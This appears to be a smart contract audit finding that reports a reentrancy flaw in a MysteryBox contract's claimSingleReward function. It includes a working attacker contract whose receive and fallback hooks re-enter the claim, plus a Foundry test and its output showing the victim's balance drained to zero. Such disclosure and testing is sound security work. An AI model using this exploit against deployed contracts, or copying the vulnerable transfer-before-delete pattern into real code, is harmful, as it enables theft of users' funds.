Summary
The function claimSingleReward() Does not follow C:E:I(check,effects,interaction) and is thus supsectiple to a reentrancy attack.
Vulnerability Details
In the code given below deletion of rewards owned is done after the money has been sent.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
POC:
contract rattack{
MysteryBox box;
address owner;
constructor(address victim) payable{
box=MysteryBox(victim);
owner=msg.sender;
}
function preperatory() public{
box.buyBox{value:0.1 ether}();
box.openBox();
}
function attack() public{
box.claimSingleReward(0);
}
function sendToOwner() public {
require(address(this).balance > 0, "No balance to send");
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Transfer to owner failed");
}
receive() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
fallback() external payable{
if (address(box).balance>=msg.value){
box.claimSingleReward(0);
}
}
}
The test function is
function test_re_entrancy() public{
vm.deal(user1,1 ether);
vm.prank(user1);
vm.warp(279);
console.log(address(mysteryBox).balance);
rattack attack=new rattack{value:1 ether}(address(mysteryBox));
attack.preperatory();
attack.attack();
vm.assertEq(0,address(mysteryBox).balance);
}
OUTPUT
[PASS] test_re_entrancy() (gas: 312371)
Logs:
Reward Pool Length: 4
The balance of mysteryBox is 100000000000000000
The balance of attack contract is 100000000000000000
The balance of attack contract is 200000000000000000
The balance of mysteryBox is 0
Impact
All of the money can be taken out of the contract
Tools Used
Foundry 0.2.0
Recommendations
Follow check effects interaction when possible